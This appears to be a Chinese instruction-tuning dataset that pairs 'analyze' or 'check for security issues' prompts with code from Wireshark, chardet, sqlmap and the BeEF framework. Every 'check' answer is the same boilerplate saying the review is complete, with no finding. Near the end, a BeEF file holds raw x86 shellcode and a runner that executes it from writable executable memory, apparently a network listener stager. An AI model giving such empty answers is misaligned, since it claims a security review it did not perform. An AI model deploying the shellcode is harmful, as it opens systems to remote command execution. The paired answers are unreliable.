Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-ecpri.c
 * Routines for eCPRI dissection
 * Copyright 2019, Maximilian Kohler <maximilian.kohler@viavisolutions.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * ------------------------------------------------------------------------------------------------
 * eCPRI Transport Network V1.2 -- Specifications
 * http://www.cpri.info/downloads/Requirements_for_the_eCPRI_Transport_Network_V1_2_2018_06_25.pdf
 * ------------------------------------------------------------------------------------------------
 */

#include "config.h"
#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/etypes.h>

/**************************************************************************************************/
/* Definition for eCPRI lengths                                                                   */
/**************************************************************************************************/
/* eCPRI Common Header (4 Bytes) */
#define ECPRI_HEADER_LENGTH                         4
/* Message Type Length */
#define ECPRI_MSG_TYPE_0_1_PAYLOAD_MIN_LENGTH       4
#define ECPRI_MSG_TYPE_2_PAYLOAD_MIN_LENGTH         4
#define ECPRI_MSG_TYPE_3_PAYLOAD_MIN_LENGTH         8
#define ECPRI_MSG_TYPE_4_PAYLOAD_MIN_LENGTH        12
#define ECPRI_MSG_TYPE_5_PAYLOAD_MIN_LENGTH        20
#define ECPRI_MSG_TYPE_6_PAYLOAD_MIN_LENGTH         3
#define ECPRI_MSG_TYPE_7_PAYLOAD_MIN_LENGTH         4
#define ECPRI_MSG_TYPE_7_ELEMENT_SIZE               8

/**************************************************************************************************/
/* Definition for Action Types in Message Type 5: One-way Delay Measurement                       */
/**************************************************************************************************/
#define ECPRI_MSG_TYPE_5_REQ                    0x00
#define ECPRI_MSG_TYPE_5...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* tap-icmpstat.c
 * icmpstat   2011 Christopher Maynard
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* This module provides icmp echo request/reply SRT statistics to tshark.
 * It is only used by tshark and not wireshark
 *
 * It was based on tap-rpcstat.c and doc/README.tapping.
 */

#include "config.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

#include <glib.h>

#include <epan/packet_info.h>
#include <epan/tap.h>
#include <epan/stat_tap_ui.h>
#include <epan/dissectors/packet-icmp.h>

#include <wsutil/cmdarg_err.h>

void register_tap_listener_icmpstat(void);

/* used to keep track of the ICMP statistics */
typedef struct _icmpstat_t {
    char *filter;
    GSList *rt_list;
    guint num_rqsts;
    guint num_resps;
    guint min_frame;
    guint max_frame;
    double min_msecs;
    double max_msecs;
    double tot_msecs;
} icmpstat_t;

/* This callback is never used by tshark but it is here for completeness.  When
 * registering below, we could just have left this function as NULL.
 *
 * When used by wireshark, this function will be called whenever we would need
 * to reset all state, such as when wireshark opens a new file, when it starts
 * a new capture, when it rescans the packetlist after some prefs have changed,
 * etc.
 *
 * So if your application has some state it needs to clean up in those
 * situations, here is a good place to put that code.
 */
static void
icmpstat_reset(void *tapdata)
{
    icmpstat_t *icmpstat = (icmpstat_t *)tapdata;

    g_slist_free(icmpstat->rt_list);
    memset(icmpstat, 0, sizeof(icmpstat_t));
    icmpstat->min_msecs = 1.0 * G_MAXUINT;
}

static gint compare_doubles(gconstpointer a, gconstpointer b)
{
    double ad, bd;

    ad = *(const double *)a;
    bd = *(const double *)b;

    if (ad < bd)
        return -1;
    if (ad > bd)
        return 1;
    return 0;
}

/*...


Instruction: 检查这段代码是否存在安全问题

Input:
/* tap-icmpstat.c
 * icmpstat   2011 Christopher Maynard
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* This module provides icmp echo request/reply SRT statistics to tshark.
 * It is only used by tshark and not wireshark
 *
 * It was based on tap-rpcstat.c and doc/README.tapping.
 */

#include "config.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

#include <glib.h>

#include <epan/packet_info.h>
#include <epan/tap.h>
#include <epan/stat_tap_ui.h>
#include <epan/dissectors/packet-icmp.h>

#include <wsutil/cmdarg_err.h>

void register_tap_listener_icmpstat(void);

/* used to keep track of the ICMP statistics */
typedef struct _icmpstat_t {
    char *filter;
    GSList *rt_list;
    guint num_rqsts;
    guint num_resps;
    guint min_frame;
    guint max_frame;
    double min_msecs;
    double max_msecs;
    double tot_msecs;
} icmpstat_t;

/* This callback is never used by tshark but it is here for completeness.  When
 * registering below, we could just have left this function as NULL.
 *
 * When used by wireshark, this function will be called whenever we would need
 * to reset all state, such as when wireshark opens a new file, when it starts
 * a new capture, when it rescans the packetlist after some prefs have changed,
 * etc.
 *
 * So if your application has some state it needs to clean up in those
 * situations, here is a good place to put that code.
 */
static void
icmpstat_reset(void *tapdata)
{
    icmpstat_t *icmpstat = (icmpstat_t *)tapdata;

    g_slist_free(icmpstat->rt_list);
    memset(icmpstat, 0, sizeof(icmpstat_t));
    icmpstat->min_msecs = 1.0 * G_MAXUINT;
}

static gint compare_doubles(gconstpointer a, gconstpointer b)
{
    double ad, bd;

    ad = *(const double *)a;
    bd = *(const double *)b;

    if (ad < bd)
        return -1;
    if (ad > bd)
        return 1;
    return 0;
}

/*...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

######################## BEGIN LICENSE BLOCK ########################
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .compat import PY2, PY3
from .universaldetector import UniversalDetector
from .version import __version__, VERSION

def detect(byte_str):
    """
    Detect the encoding of the given byte string.

    :param byte_str:     The byte sequence to examine.
    :type byte_str:      ``bytes`` or ``bytearray``
    """
    if not isinstance(byte_str, bytearray):
        if not isinstance(byte_str, bytes):
            raise TypeError('Expected object of type bytes or bytearray, got: '
                            '{0}'.format(type(byte_str)))
        else:
            byte_str = bytearray(byte_str)
    detector = UniversalDetector()
    detector.feed(byte_str)
    return detector.close()


Instruction: 检查这段代码是否存在安全问题

Input:
######################## BEGIN LICENSE BLOCK ########################
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .compat import PY2, PY3
from .universaldetector import UniversalDetector
from .version import __version__, VERSION

def detect(byte_str):
    """
    Detect the encoding of the given byte string.

    :param byte_str:     The byte sequence to examine.
    :type byte_str:      ``bytes`` or ``bytearray``
    """
    if not isinstance(byte_str, bytearray):
        if not isinstance(byte_str, bytes):
            raise TypeError('Expected object of type bytes or bytearray, got: '
                            '{0}'.format(type(byte_str)))
        else:
            byte_str = bytearray(byte_str)
    detector = UniversalDetector()
    detector.feed(byte_str)
    return detector.close()

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2001 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <string.h>

#include <ftypes-int.h>
#include <epan/ipv6.h>
#include <epan/addr_resolv.h>
#include <epan/to_str.h>

static gboolean
ipv6_from_literal(fvalue_t *fv, const char *s, gboolean allow_partial_value _U_, gchar **err_msg)
{
	const char *slash;
	const char *addr_str;
	char *addr_str_to_free = NULL;
	unsigned int nmask_bits;
	fvalue_t *nmask_fvalue;

	/* Look for prefix: Is there a single slash in the string? */
	slash = strchr(s, '/');
	if (slash) {
		/* Make a copy of the string up to but not including the
		 * slash; that's the address portion. */
		addr_str_to_free = wmem_strndup(NULL, s, slash-s);
		addr_str = addr_str_to_free;
	}
	else
		addr_str = s;

	if (!get_host_ipaddr6(addr_str, &(fv->value.ipv6.addr))) {
		if (err_msg != NULL)
			*err_msg = ws_strdup_printf("\"%s\" is not a valid hostname or IPv6 address.", s);
		if (addr_str_to_free)
			wmem_free(NULL, addr_str_to_free);
		return FALSE;
	}

	if (addr_str_to_free)
		wmem_free(NULL, addr_str_to_free);

	/* If prefix */
	if (slash) {
		/* XXX - this is inefficient */
		nmask_fvalue = fvalue_from_literal(FT_UINT32, slash+1, FALSE, err_msg);
		if (!nmask_fvalue) {
			return FALSE;
		}
		nmask_bits = fvalue_get_uinteger(nmask_fvalue);
		fvalue_free(nmask_fvalue);

		if (nmask_bits > 128) {
			if (err_msg != NULL) {
				*err_msg = ws_strdup_printf("Prefix in a IPv6 address should be <= 128, not %u",
						nmask_bits);
			}
			return FALSE;
		}
		fv->value.ipv6.prefix = nmask_bits;
	} else {
		/* Not CIDR; mask covers entire address. */
		fv->value.ipv6.prefix = 128;
	}

	return TRUE;
}

static char *
ipv6_to_repr(wmem_allocator_t *scope, const fvalue_t *fv, ftrepr_t rtype _U_, int field_display _U_)
{
	char buf[WS_INET6_ADDRSTRLEN];
	char *repr;

	ip6_to_str_buf(&fv->value.ipv6.addr, buf, sizeof(buf));

	if (...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2001 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <string.h>

#include <ftypes-int.h>
#include <epan/ipv6.h>
#include <epan/addr_resolv.h>
#include <epan/to_str.h>

static gboolean
ipv6_from_literal(fvalue_t *fv, const char *s, gboolean allow_partial_value _U_, gchar **err_msg)
{
	const char *slash;
	const char *addr_str;
	char *addr_str_to_free = NULL;
	unsigned int nmask_bits;
	fvalue_t *nmask_fvalue;

	/* Look for prefix: Is there a single slash in the string? */
	slash = strchr(s, '/');
	if (slash) {
		/* Make a copy of the string up to but not including the
		 * slash; that's the address portion. */
		addr_str_to_free = wmem_strndup(NULL, s, slash-s);
		addr_str = addr_str_to_free;
	}
	else
		addr_str = s;

	if (!get_host_ipaddr6(addr_str, &(fv->value.ipv6.addr))) {
		if (err_msg != NULL)
			*err_msg = ws_strdup_printf("\"%s\" is not a valid hostname or IPv6 address.", s);
		if (addr_str_to_free)
			wmem_free(NULL, addr_str_to_free);
		return FALSE;
	}

	if (addr_str_to_free)
		wmem_free(NULL, addr_str_to_free);

	/* If prefix */
	if (slash) {
		/* XXX - this is inefficient */
		nmask_fvalue = fvalue_from_literal(FT_UINT32, slash+1, FALSE, err_msg);
		if (!nmask_fvalue) {
			return FALSE;
		}
		nmask_bits = fvalue_get_uinteger(nmask_fvalue);
		fvalue_free(nmask_fvalue);

		if (nmask_bits > 128) {
			if (err_msg != NULL) {
				*err_msg = ws_strdup_printf("Prefix in a IPv6 address should be <= 128, not %u",
						nmask_bits);
			}
			return FALSE;
		}
		fv->value.ipv6.prefix = nmask_bits;
	} else {
		/* Not CIDR; mask covers entire address. */
		fv->value.ipv6.prefix = 128;
	}

	return TRUE;
}

static char *
ipv6_to_repr(wmem_allocator_t *scope, const fvalue_t *fv, ftrepr_t rtype _U_, int field_display _U_)
{
	char buf[WS_INET6_ADDRSTRLEN];
	char *repr;

	ip6_to_str_buf(&fv->value.ipv6.addr, buf, sizeof(buf));

	if (...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ebhscr.c
 * Routines for EBHSCR dissection
 * Copyright 2019, Ana Pantar <ana.pantar@gmail.com> for Elektrobit
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * For more information on this protocol see:
 * https://www.elektrobit.com/ebhscr
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#include <epan/packet.h>
#include <epan/decode_as.h>
#include <epan/prefs.h>
#include <wiretap/wtap.h>
#include <epan/expert.h>

void proto_reg_handoff_ebhscr(void);
void proto_register_ebhscr(void);

static int proto_ebhscr = -1;

static int hf_ebhscr_packet_header = -1;
static int hf_ebhscr_major_number = -1;
static int hf_ebhscr_slot = -1;
static int hf_ebhscr_channel = -1;
static int hf_ebhscr_status = -1;
static int hf_ebhscr_status_unused = -1;

static int hf_can_proto_type = -1;
static int hf_can_status_available = -1;
static int hf_can_LEC = -1;
static int hf_can_ERRP = -1;
static int hf_can_ERRW = -1;
static int hf_can_BOFF = -1;
static int hf_can_DLEC = -1;
static int hf_can_TEC = -1;
static int hf_can_REC = -1;
static int hf_can_CEL = -1;
static int hf_can_reserved_bytes = -1;

static int hf_eth_reserved_bytes = -1;
static int hf_eth_tx_trunc = -1;
static int hf_eth_trans_undrun = -1;
static int hf_eth_retrans_limit = -1;
static int hf_eth_late_collision = -1;
static int hf_eth_link_up_down = -1;
static int hf_eth_master_slave = -1;
static int hf_eth_fcs_unavailable = -1;
static int hf_eth_rsvd_bit = -1;
static int hf_eth_speed = -1;

static int hf_eth_crc_error = -1;
static int hf_eth_mii_foe = -1;
static int hf_eth_payload_foe = -1;
static int hf_eth_hdr_foe = -1;
static int hf_eth_rcv_dec_err = -1;
static int hf_eth_sym_error = -1;
static int hf_eth_jabber_event = -1;
static int hf_eth_pol_ch_event = -1;
static int hf_eth_fls_carrier_event = -1;
static int hf_eth_rx_trunc = -1;
static int hf_eth_transmission_disc_err = -1;
static int hf_eth_wait_frame_sep_bit = -1...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-ebhscr.c
 * Routines for EBHSCR dissection
 * Copyright 2019, Ana Pantar <ana.pantar@gmail.com> for Elektrobit
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * For more information on this protocol see:
 * https://www.elektrobit.com/ebhscr
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#include <epan/packet.h>
#include <epan/decode_as.h>
#include <epan/prefs.h>
#include <wiretap/wtap.h>
#include <epan/expert.h>

void proto_reg_handoff_ebhscr(void);
void proto_register_ebhscr(void);

static int proto_ebhscr = -1;

static int hf_ebhscr_packet_header = -1;
static int hf_ebhscr_major_number = -1;
static int hf_ebhscr_slot = -1;
static int hf_ebhscr_channel = -1;
static int hf_ebhscr_status = -1;
static int hf_ebhscr_status_unused = -1;

static int hf_can_proto_type = -1;
static int hf_can_status_available = -1;
static int hf_can_LEC = -1;
static int hf_can_ERRP = -1;
static int hf_can_ERRW = -1;
static int hf_can_BOFF = -1;
static int hf_can_DLEC = -1;
static int hf_can_TEC = -1;
static int hf_can_REC = -1;
static int hf_can_CEL = -1;
static int hf_can_reserved_bytes = -1;

static int hf_eth_reserved_bytes = -1;
static int hf_eth_tx_trunc = -1;
static int hf_eth_trans_undrun = -1;
static int hf_eth_retrans_limit = -1;
static int hf_eth_late_collision = -1;
static int hf_eth_link_up_down = -1;
static int hf_eth_master_slave = -1;
static int hf_eth_fcs_unavailable = -1;
static int hf_eth_rsvd_bit = -1;
static int hf_eth_speed = -1;

static int hf_eth_crc_error = -1;
static int hf_eth_mii_foe = -1;
static int hf_eth_payload_foe = -1;
static int hf_eth_hdr_foe = -1;
static int hf_eth_rcv_dec_err = -1;
static int hf_eth_sym_error = -1;
static int hf_eth_jabber_event = -1;
static int hf_eth_pol_ch_event = -1;
static int hf_eth_fls_carrier_event = -1;
static int hf_eth_rx_trunc = -1;
static int hf_eth_transmission_disc_err = -1;
static int hf_eth_wait_frame_sep_bit = -1...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

module BeEF
  module Core
    module Models      # @note Stored info about the execution of the ARE on hooked browsers.
      class Execution < BeEF::Core::Model
      end
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

module BeEF
  module Core
    module Models      # @note Stored info about the execution of the ARE on hooked browsers.
      class Execution < BeEF::Core::Model
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import getOrds
from plugins.generic.syntax import Syntax as GenericSyntax

class Syntax(GenericSyntax):
    @staticmethod
    def escape(expression, quote=True):
        """
        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar"
        True
        """

        def escaper(value):
            return "||".join("CHR(%d)" % _ for _ in getOrds(value))

        return Syntax._escape(expression, quote, escaper)


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import getOrds
from plugins.generic.syntax import Syntax as GenericSyntax

class Syntax(GenericSyntax):
    @staticmethod
    def escape(expression, quote=True):
        """
        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar"
        True
        """

        def escaper(value):
            return "||".join("CHR(%d)" % _ for _ in getOrds(value))

        return Syntax._escape(expression, quote, escaper)

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net
 * Browser Exploitation Framework (BeEF) - http://beefproject.com
 * See the file 'doc/COPYING' for copying permission
 */

import java.applet.Applet;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.List;

/*
 * Coded by Michele "antisnatchor" Orru' for the BeEF project.
 * Given a single IP or IP range, check without hosts are alive (ping sweep).
 */
public class pingSweep extends Applet {

    public static String ipRange = "";
    public static int timeout = 0;
    public static List<InetAddress> hostList;

    public pingSweep() {
        super();
        return;
    }

    public void init(){
       ipRange = getParameter("ipRange");
       timeout = Integer.parseInt(getParameter("timeout"));
    }

    //called from JS
    public static int getHostsNumber(){
        try{
            hostList = parseIpRange(ipRange);
        }catch(UnknownHostException e){ //do something

        }
        return hostList.size();
    }

    //called from JS
    public static String getAliveHosts(){
        String result = "";
        try{
           result = checkHosts(hostList);
        }catch(IOException io){
           //do something
        }
        return result;
    }

    private static List<InetAddress> parseIpRange(String ipRange) throws UnknownHostException {

        List<InetAddress> addresses = new ArrayList<InetAddress>();
        if (ipRange.indexOf("-") != -1) { //multiple IPs: ipRange = 172.31.229.240-172.31.229.250
            String[] ips = ipRange.split("-");
            String[] octets = ips[0].split("\\.");
            int lowerBound = Integer.parseInt(octets[3]);
            int upperBound = Integer.parseInt(ips[1].split("\\.")[3]);

            for (int i = lowerBound; i <= upperBound; i++) {
                String ip = octets[0] + "." + octets[1] + "." + octets[2] + "." + i;
                addresses....


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net
 * Browser Exploitation Framework (BeEF) - http://beefproject.com
 * See the file 'doc/COPYING' for copying permission
 */

import java.applet.Applet;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.List;

/*
 * Coded by Michele "antisnatchor" Orru' for the BeEF project.
 * Given a single IP or IP range, check without hosts are alive (ping sweep).
 */
public class pingSweep extends Applet {

    public static String ipRange = "";
    public static int timeout = 0;
    public static List<InetAddress> hostList;

    public pingSweep() {
        super();
        return;
    }

    public void init(){
       ipRange = getParameter("ipRange");
       timeout = Integer.parseInt(getParameter("timeout"));
    }

    //called from JS
    public static int getHostsNumber(){
        try{
            hostList = parseIpRange(ipRange);
        }catch(UnknownHostException e){ //do something

        }
        return hostList.size();
    }

    //called from JS
    public static String getAliveHosts(){
        String result = "";
        try{
           result = checkHosts(hostList);
        }catch(IOException io){
           //do something
        }
        return result;
    }

    private static List<InetAddress> parseIpRange(String ipRange) throws UnknownHostException {

        List<InetAddress> addresses = new ArrayList<InetAddress>();
        if (ipRange.indexOf("-") != -1) { //multiple IPs: ipRange = 172.31.229.240-172.31.229.250
            String[] ips = ipRange.split("-");
            String[] octets = ips[0].split("\\.");
            int lowerBound = Integer.parseInt(octets[3]);
            int upperBound = Integer.parseInt(ips[1].split("\\.")[3]);

            for (int i = lowerBound; i <= upperBound; i++) {
                String ip = octets[0] + "." + octets[1] + "." + octets[2] + "." + i;
                addresses....

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-gsm_ipa.c
 * Routines for packet dissection of ip.access GSM A-bis over IP
 * Copyright 2009 by Harald Welte <laforge@gnumonks.org>
 * Copyright 2009, 2010 by Holger Hans Peter Freyther <zecke@selfish.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>

void proto_register_ipa(void);
void proto_reg_handoff_gsm_ipa(void);

/*
 * Protocol used by ip.access's nanoBTS/nanoGSM GSM picocells:
 *
 *	http://www.ipaccess.com/en/nanoGSM-picocell
 *
 * to transport the GSM A-bis interface over TCP and UDP.
 *
 * See
 *
 *	http://openbsc.osmocom.org/trac/wiki/nanoBTS
 *
 * for some information about this protocol determined by reverse-
 * engineering.
 */

/*
 * These ports are also registered for other protocols, as per
 *
 * http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml
 *
 * exlm-agent     3002
 * cgms           3003
 * ii-admin       3006
 * vrml-multi-use 4200-4299
 * commplex-main  5000
 *
 * But, as that document says:
 *
 ************************************************************************
 * PLEASE NOTE THE FOLLOWING:                                           *
 *                                                                      *
 * ASSIGNMENT OF A PORT NUMBER DOES NOT IN ANY WAY IMPLY AN             *
 * ENDORSEMENT OF AN APPLICATION OR PRODUCT, AND THE FACT THAT NETWORK  *
 * TRAFFIC IS FLOWING TO OR FROM A REGISTERED PORT DOES NOT MEAN THAT   *
 * IT IS "GOOD" TRAFFIC, NOR THAT IT NECESSARILY CORRESPONDS TO THE     *
 * ASSIGNED SERVICE. FIREWALL AND SYSTEM ADMINISTRATORS SHOULD          *
 * CHOOSE HOW TO CONFIGURE THEIR SYSTEMS BASED ON THEIR KNOWLEDGE OF    *
 * THE TRAFFIC IN QUESTION, NOT WHETHER THERE IS A PORT NUMBER          *
 * REGISTERED OR NOT.                                                   *
 ********...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-gsm_ipa.c
 * Routines for packet dissection of ip.access GSM A-bis over IP
 * Copyright 2009 by Harald Welte <laforge@gnumonks.org>
 * Copyright 2009, 2010 by Holger Hans Peter Freyther <zecke@selfish.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>

void proto_register_ipa(void);
void proto_reg_handoff_gsm_ipa(void);

/*
 * Protocol used by ip.access's nanoBTS/nanoGSM GSM picocells:
 *
 *	http://www.ipaccess.com/en/nanoGSM-picocell
 *
 * to transport the GSM A-bis interface over TCP and UDP.
 *
 * See
 *
 *	http://openbsc.osmocom.org/trac/wiki/nanoBTS
 *
 * for some information about this protocol determined by reverse-
 * engineering.
 */

/*
 * These ports are also registered for other protocols, as per
 *
 * http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml
 *
 * exlm-agent     3002
 * cgms           3003
 * ii-admin       3006
 * vrml-multi-use 4200-4299
 * commplex-main  5000
 *
 * But, as that document says:
 *
 ************************************************************************
 * PLEASE NOTE THE FOLLOWING:                                           *
 *                                                                      *
 * ASSIGNMENT OF A PORT NUMBER DOES NOT IN ANY WAY IMPLY AN             *
 * ENDORSEMENT OF AN APPLICATION OR PRODUCT, AND THE FACT THAT NETWORK  *
 * TRAFFIC IS FLOWING TO OR FROM A REGISTERED PORT DOES NOT MEAN THAT   *
 * IT IS "GOOD" TRAFFIC, NOR THAT IT NECESSARILY CORRESPONDS TO THE     *
 * ASSIGNED SERVICE. FIREWALL AND SYSTEM ADMINISTRATORS SHOULD          *
 * CHOOSE HOW TO CONFIGURE THEIR SYSTEMS BASED ON THEIR KNOWLEDGE OF    *
 * THE TRAFFIC IN QUESTION, NOT WHETHER THERE IS A PORT NUMBER          *
 * REGISTERED OR NOT.                                                   *
 ********...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

<link rel='https://api.w.org/' href='https://ex.lo/wp-json/' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://ex.lo/cms/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://ex.lo/cms/wp-includes/wlwmanifest.xml" />

<link rel="shortcut icon" href="//ex.lo/cms/wp-content/uploads/2011/10/favicon.ico">
<link rel="apple-touch-icon-precomposed" href="//ex.lo/cms/wp-content/uploads/2011/10/favicon.ico">


Instruction: 检查这段代码是否存在安全问题

Input:
<link rel='https://api.w.org/' href='https://ex.lo/wp-json/' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://ex.lo/cms/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://ex.lo/cms/wp-includes/wlwmanifest.xml" />

<link rel="shortcut icon" href="//ex.lo/cms/wp-content/uploads/2011/10/favicon.ico">
<link rel="apple-touch-icon-precomposed" href="//ex.lo/cms/wp-content/uploads/2011/10/favicon.ico">

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/**
 Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net
 Browser Exploitation Framework (BeEF) - http://beefproject.com
 See the file 'doc/COPYING' for copying permission

 The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:
 #gcc -m32 -fno-stack-protector -z execstack -o socket socket.c
**/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "\xfc\x31\xc0\x31\xd2\x6a\x01\x5b\x50\x40\x50\x40\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc6\x6a\x0e\x5b\x6a\x04\x54\x6a\x02\x6a\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x5b\x52\x68\x02\x00\x11\x5c\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43\x53\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x52\x52\x56\x89\xe1\x6a\x66\x58\xcd\x80\x96\x93\xb8\x06\x00\x00\x00\xcd\x80\x6a\x00\x68\xff\xff\xff\xff\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x6a\x00\x89\xe3\x6a\x5a\x58\xcd\x80\x89\xc7\x66\xba\x00\x10\x89\xf9\x89\xf3\x6a\x03\x58\xcd\x80\x6a\x06\x58\xcd\x80\x81\x3f\x63\x6d\x64\x3d\x74\x03\x47\xeb\xf5\x6a\x04\x58\x01\xc7\xff\xe7";

int main(int argc, char **argv) {
   char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
   if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}
   memcpy(ptr, shellcode, sizeof(shellcode));
   sc = (int(*)())ptr;
   (void)((void(*)())ptr)();
   printf("\n");
   return 0;
}


Instruction: 检查这段代码是否存在安全问题

Input:
/**
 Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net
 Browser Exploitation Framework (BeEF) - http://beefproject.com
 See the file 'doc/COPYING' for copying permission

 The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:
 #gcc -m32 -fno-stack-protector -z execstack -o socket socket.c
**/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

